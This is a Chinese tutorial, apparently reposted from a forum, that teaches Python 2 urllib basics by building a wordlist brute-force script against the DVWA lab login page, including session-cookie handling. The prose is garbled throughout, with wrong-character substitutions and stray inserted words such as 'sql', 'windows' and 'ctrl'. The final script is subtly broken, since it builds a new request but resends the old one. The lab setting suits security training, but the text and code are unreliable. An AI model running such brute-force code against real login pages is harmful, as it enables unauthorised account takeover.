[此文原先在論壇上,後來整理文章時從論壇更新到博客上]php
實驗環境:
dvwa 1.7
python 2.7
關於怎麼搭建環境,咱們能夠看以前的這篇帖子。
目的:
一點、一點的開始學習用python編寫腳本
熟悉python的urllib、urllib2這兩個模塊,而且開始寫出一個能夠暴力破解的腳本
這裏咱們先來看一下,python的基本語法
html
一、它是一種弱類型的編程語言,變量不用聲明類型
如:
>>>url = 'http://www.51cto.com'
二、當咱們想將這個變量顯示出來的時候,咱們須要作的就是用print這個語句,其後面跟的是變量名或者字符串
如:
>>>print url
http://bbs.51cto.com/
三、好了,假如咱們想模仿瀏覽器去請求這個網頁,該怎麼作呢?這個時候就須要用到咱們前面提到的urllib2這個庫了,它裏買你包含有請求的方法urlopen,那麼該如何操做呢?
#先是導入咱們須要用的庫
#而後咱們調用這個庫裏面的方法urlopen,這裏得加上庫名.而後咱們將它獲取的內容賦值給result
>>>import urllib2
>>>result = urllib2.urlopen(url)
四、上面的兩步,咱們得到了關於url內容的一個對象,這裏咱們來學習一個函數type(),這個函數是返回變量的類型的.
>>>type(result)
<type 'instance'>
能夠看到這個咱們沒法將其用print將其的內容顯示出來,因此咱們還得學者用一個方法。這個read()方法是result自己包含的。它將會返回咱們要請求網頁的內容,以字符串形式!也就是咱們能夠打印出來了
>>>content = result.read()
>>>print content
xxxxx
五、經過上面四步,咱們訪問了論壇首頁,而且將其內容GET下來,那麼下面咱們開始咱們暴力破解腳本學習。
但在開始寫暴力破解腳本前,咱們得懂得什麼是POST請求方法。它和GET有什麼不一樣
GET和POST兩種方法均可以提交用戶方面的數據,
(1)GET請求的時候會把用戶的信息添加在url上。‘?’後面的內容爲請求的參數,它的出現以名值對的方式,即para = 123,其中'&'符號表示and,即還有其餘的參數。
因此下面的例子提交的參數有兩個
http://www.example.com/login.php?username=skytina&password=123456
username=skytina
password=123456
(2)POST請求的時候則不會將用戶的信息直接添加在url上,而是經過在http請求頭部包含進用戶的信息。下面咱們用例子來講明
這裏建議你下載一個火狐瀏覽器,其餘瀏覽器也是能夠的,咱們按F12鍵,切換到網絡頁面!
以下圖:
而後咱們在dvwa漏洞學習系統那裏輸入帳號和用戶名,點擊‘Login’的時候,咱們能夠看到下面的內容。
而後咱們點開POST請求的那個記錄,這時候咱們能夠看到下面的內容!
這個就是咱們登陸的時候的記錄,咱們post咱們的帳號和密碼到login.php。
咱們能夠看一下請求頭的內容,這部分是咱們發出去的。
[1]Referer:這部分是表示,這個請求來自那裏的,能夠發現這二個url(也就是網址)並無附帶有參數。
這個時候咱們,單擊參數這個標籤,能夠發現咱們在點擊登陸的時候,
[2]Cookie:當咱們請求這個login.php的時候,便開始了一個session(會話),也就是這個屬於咱們的身份認證!這個咱們須要發回服務器端,同時能夠看到有個'high',這個是dvwa漏洞系統的安全等級!要是不把Cookie回發的話,服務器會認爲咱們是第一次訪問login.php,這樣便會致使post發送的數據失效。因此在編寫爆破腳本的時候,須要加上這個!(若是有疑惑,請看最下面的更新內容)
發送了三個數據到login.php。
username:admin
password:123456
Login:Loginpython
也就是說一次正常的登陸請求會發出下面的這些內容,假若咱們要進行暴力破解的話,咱們須要修改的是password這個對應的數值。
這時候咱們來看一下頁面上有什麼信息嗎?
能夠發現,當登陸失敗的時候會有‘Login failed’這個字眼,也就是說,咱們須要在返回的網頁判斷是否存在這個字眼。
好,一切準備工做就緒,但在開始咱們開始寫咱們的暴力破解腳本以前,咱們還須要準備一些內容。
(3)一個關於弱口令的密碼字典,由於暴力破解就是不斷枚舉字典裏面的數據來嘗試登錄!
通常採用字典生成工具來生成字典,我這裏採用的是希希字典生成工具,比較喜歡它的緣由是,是由於它符合國人的密碼設置規律。
可是通常咱們不可能盲目的去生成字典,我須要收集關於網站管理人員或者被受權人員信息的一些狀況。
對於咱們的測試系統來講。
首先咱們先想到的是經常使用的管理員帳號‘admin’。
並且系統是國外的,因此咱們應該下一些國外的經常使用弱口令字典。這裏咱們不用這麼麻煩,直接使用希希字典的生成弱口令功能。
這裏打開了希希密碼以後,先看到是這樣的窗口,能夠看到一開始咱們處於弱口令生成窗口!
sql
這裏咱們只須要簡單的弱口令,因此咱們把複雜程度調整到簡單,
以後咱們調整生成的選項,這裏調整混合深度
混合深度爲一,也就是隻包含密碼因子一次,咱們這裏的密碼因子是弱口令。
好比:12345六、qwert,654321,是弱口令,混合深度爲1
則弱口令各自獨立存在,也就是三個弱口令。
但混合深度爲2的時候,123456qewrt這種類型!
這裏咱們生成的密碼字典文件名成爲‘weak_password.txt’編程
六、通過第五步,咱們知道咱們接下來編寫腳本的要求
post 方式 發送數據請求 "http://localhost/dvwa/login.php"
post的數據有三個
username=xxx
password=xxx
Login=Loginwindows
(1)打開你的字典文件,python內置了一個open函數。原型以下圖,使用它打開一個已有的文件,會返回一個文件對象!
open(...)
open(name[, mode[, buffering]]) -> file object
第一個參數爲文件名,第二參數爲打開文件的模式,第三個指定緩衝區模式。[xxx]裏面的都是可選項,必須的只是文件名,其默認的打開方式爲只讀
>>>passdict = open('d:\\weak_password.txt','r')
>>>print passdict.readline()
shift
咱們打開咱們的字典文件,能夠看到咱們顯示出來的內容正是字典文件的第一條內容!可是在這裏發現有一個空行,這個怎麼來的呢?這裏咱們使用urllib庫的urlencode這個函數來看一下數據後面是否跟着什麼,這裏說一下urlencode。由於在url只支持可打印字符,同時裏面一些特殊的字符有特定的含義,
好比:
‘+’:表明的是空格
‘&’:參數的間隔符
‘?’:這個鏈接字符,鏈接後面的參數值
這樣,當咱們須要使用這些字符的時候,咱們須要對其進行url編碼!其編碼形式是一個‘%’加上兩位十六進制的數值
>>>import urllib
>>>print urllib.quote(passdict.readline())
ctrl%0A
上面的quote函數,它的做用是字符串進行url編碼!這時候咱們對應字典,發現它多出了%0A的內容,它對應ascii表的換行符。在windows上換行符是有‘\r\n’組成。所以咱們要處理這個換行符,不然他會破壞咱們發送的數據。
這個時候咱們會使用string對象中的strip()這個函數,它默認是去處左右兩旁的空格。它的第二個參數提供了其餘字符的選擇。
>>>import string
>>>print urllib.quote(string.strip(passdict.readline(),'\r\n'))
delete
能夠發現此次數據後面沒有多餘的內容,讀取密碼字典這部分,咱們完成了。
(2)這些模塊測試完了,咱們開始要開始在文件上寫了,點擊File--New File.這裏咱們將會用到循環語句while。由於咱們要不斷的從字典文件裏讀取數據,而後再發送。當讀取到文件結尾的時候,readline()會返回空字符串'',注意一下while語句後面有個':'表示以後的是語句塊,也就是一坨代碼!
這裏還要說一下的就是,python不一樣的語句塊是靠縮進來進行的,通常採用四個空格或者TAB鍵,也就是說,下面的while語句塊裏面的內容是縮進的那部分!瀏覽器
import urllib import urllib2 import string passdict = open('d:\weak_password.txt','r') password = passdict.readline() while password != '': password = string.strip(password,'\r\n') print password password = passdict.readline() print 'Done'
這裏咱們是輸出字典文件裏面的值,這個模塊好了。咱們再來看一下兩個內容
(1) 一個是urllib2.Request請求類,咱們經過這個類來生成咱們的http請求對象
其構造函數的經常使用的參數以下
安全
req = urllib2.Request(url[,data,header])
能夠看到url,使咱們即將發送post數據的網址,而剩下兩個data以及header都是可選的!當包含data的時候,則採用post的方式請求網頁!data使咱們要發送的表單數據,header這個則包含了Cookie信息,以便維持咱們的訪問以及告訴服務器,咱們不是第一次訪問該頁面。
(2)可是要是咱們的data包含一些特殊字符的時候,就會有問題。好比咱們的‘&’,‘#’,‘?’,‘+’,因此這個時候要用到一個函數,來將咱們的data進行url編碼。
最終形態以下
服務器
req = urllib2.Request(url,urllib.encode(data),header)
而後就像咱們get的請求同樣使用urllib2.urlopen(req)就能夠了
(3)Post的數據從那裏來,這裏咱們將會介紹一個內容字典。
首先咱們建立一個空字典,字典的符號是'{}'大括號包含內容,以後往裏面添加內容。字典是名值對的形式,咱們能夠經過名在字典中找到那個值。就像在學校,咱們能夠經過學號來找到對應學生的名字.
由於咱們要發送三個數據,因此咱們一次添加。這裏由於咱們猜想管理員帳號爲admin,因此使用它來進行硬編碼。
網絡
data = {} data['username'] = 'admin' data['Login'] = 'Login'
這個時候是否是該寫data['password']了,但是,這個值正是要放到循環裏面的,因此修改事後。會成這樣!咱們把原來要打印的password值,放到字典裏面了
import urllib import urllib2 import string data = {} data['username'] = 'admin' data['Login'] = 'Login' passdict = open('d:\weak_password.txt','r') password = passdict.readline() while password != '': password = string.strip(password,'\r\n') data['password'] = password password = passdict.readline() print 'Done'
(4)到了這裏,咱們再看回前面發送請求的時候,還有含有Cookie,這個Cookie是咱們保持會話的保證。也就是咱們須要將其從新發回給服務器。而Cookie是包含在http請求頭部的。咱們仍是採用字典來實現包含這個數據,這裏咱們介紹了字典第二種添加數據方式,就是在一開始使用'':''的形式建立一個名值對,不一樣的名值對用‘,’分隔開!
header = { 'Referer':'http://localhost/dvwa/login.php', 'Cookie':'security=high; PHPSESSID=o86p8vaae17mp7gpme6bm3n9u3' }
如今咱們再來看看咱們的暴力破解腳本
import urllib import urllib2 import string url = 'http://localhost/dvwa/login.php' header = {'Cookie':'security=high;PHPSESSID=o86p8vaae17mp7gpme6bm3n9u3'} data = {} data['username'] = 'admin' data['Login'] = 'Login' passdict = open('d:\\weak_password.txt','r') password = passdict.readline() while password != '': password = string.strip(password,'\r\n') data['password'] = password req = urllib2.Request(url,urllib.urlencode(data),header) result = urllib2.urlopen(req) content = result.read() password = passdict.readline() print 'Done'
到這裏咱們還沒進行判斷,怎麼樣纔算是登陸成功或者登陸失敗!想想,前面咱們分析請求的時候,登陸失敗的時候網頁會有‘failed’這個字眼,也就說,在返回的網頁內容中,只要找到failed的存在,則說明登陸失敗!
那麼這裏咱們使用string裏面的一個函數find()
string.find(s,substr)
這裏s是被查找的字符串,也就會content。substr是咱們判斷登陸失敗或者錯誤的那部分字符串,也就是'failed'。當找不到substr的時候,函數返回-1.找到的話,返回substr在字符串的索引!
因此最終咱們的腳本是
import urllib import urllib2 import string url = 'http://localhost/dvwa/login.php' header = {'Cookie':'security=high; PHPSESSID=o86p8vaae17mp7gpme6bm3n9u3'} data = {} data['username'] = 'admin' data['Login'] = 'Login' passdict = open('d:\\weak_password.txt','r') password = passdict.readline() while password != '': password = string.strip(password,'\r\n') data['password'] = password req = urllib2.Request(url,urllib.urlencode(data),header) result = urllib2.urlopen(req) content = result.read() if string.find(content,'failed') == -1: print 'Username:admin Password:'+password else: print 'login failed' password = passdict.readline() print 'Done'
最後,咱們測試一下。看一下效果!
到此,咱們hacking python的第一課算是完結了。下一節,咱們將會介紹怎麼利用sql注入來繞過登陸驗證!
------------2015-3-17更新
@月流霜 謝謝流霜的指出一些不足之處。
這裏咱們來講一下,
一、爲何上面要加Cookie,要是不加Cookie的話會怎樣?
答:咱們先來看一下不加Cookie返回的頭部是什麼。這裏咱們須要用到info函數,這個info函數將會返回咱們請求頁面的HTTP頭部。咱們只須要在
content = result.read()前面加上一條語句,
print str(result.info())
這裏我爲了測試,把字典減小了不少。F5運行,下面看一下運行結果
能夠看到有每一次請求,都會引起服務器端進行一次Session分配,也就說,服務器沒法知道咱們是否已經得到Session。只有咱們在http頭部假如Session才能讓服務器知道咱們已經得到Session值了,能夠接收個人POST數據了進行接下操做了。
要是不加Cookie,咱們則會一直至關於GET方式訪問login.php。
二、怎樣才能夠不用像傻瓜同樣手動加Cookie呢?
既然知道問題出如今那裏了,那咱們腫麼辦呢?
難道每次都手動添加??
人家不是給咱們在返回的網頁中分配了一些SessionId的數值了麼?咱們只須要找出那些值即可以了。
這裏須要使用了string庫提供的一個函數
index(s, sub [,start [,end]]) -> int
s是被查找的字符串,sub爲想要查找的字符串,後面兩個參數分別爲查找的範圍。
首先分析一個返回的HTTP頭部,形如:
Date: Tue, 17 Mar 2015 12:27:56 GMT Server: Apache/2.2.21 (Win64) PHP/5.3.10 X-Powered-By: PHP/5.3.10 Set-Cookie: PHPSESSID=dajgqkai3q6e35d4r8fqjkjrc5; path=/ Expires: Tue, 23 Jun 2009 12:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Set-Cookie: security=high Content-Length: 1224 Connection: close Content-Type: text/html;charset=utf-8
咱們所須要是PHPSESSID的內容,首先或這個子串的索引位置start,而後咱們能夠看到這個Session的值以';'結尾,因而咱們根據content[start:end]來獲取Session的值。
content = str(request.info()) start = string.index(content,'PHPSESSID') end = string.index(content,';') header['Cookie'] = content[start:end]
這樣咱們就能夠將Session的值添加到HTTP請求頭部去,可是等等,咱們的代碼在循環中,腫麼辦?
別擔憂,Request對象有一個方法是用來判斷有沒有指定的HTTP頭部值,這個函數就是has_header(headername)。
咱們能夠這樣來判斷
if not req.has_header('Cookie'): content = str(result.info()) start = string.index(content,'PHPSESSID') end = string.index(content,';')
這裏咱們只是獲取了Session值,咱們須要再次提交咱們的請求,帶上咱們得到的Session值。就會變成這樣
import urllib import urllib2 import string url = 'http://localhost/dvwa/login.php' header = { 'Connection':'keep-alive', } data = {} data['username'] = 'admin' data['Login'] = 'Login' passdict = open('d:\\weak_password.txt','r') password = passdict.readline() while password != '': password = string.strip(password,'\r\n') data['password'] = password req = urllib2.Request(url,urllib.urlencode(data),header) result = urllib2.urlopen(req) if not req.has_header('Cookie'): content = str(result.info()) start = string.index(content,'PHPSESSID') end = string.index(content,';') header['Cookie'] = content[start:end] _req = urllib2.Request(url,urllib.urlencode(data),header) result = urllib2.urlopen(req) content = result.read() if string.find(content,'failed') == -1: print 'Username:admin Password:'+password #print content; else: print 'login failed' password = passdict.readline() print 'Done'
好了,此次咱們解決了手動添加Cookie的問題,是否是感受本身又漲知識了。
騷年,一點點的成長吧!
[資源連接:]
希希密碼:[Click Here]
關於密碼設置規律,這裏有篇文章能夠參考![Click Here]
個人小夥伴 @niuyuanwu 以前一篇頗有價值的文章[Click Here]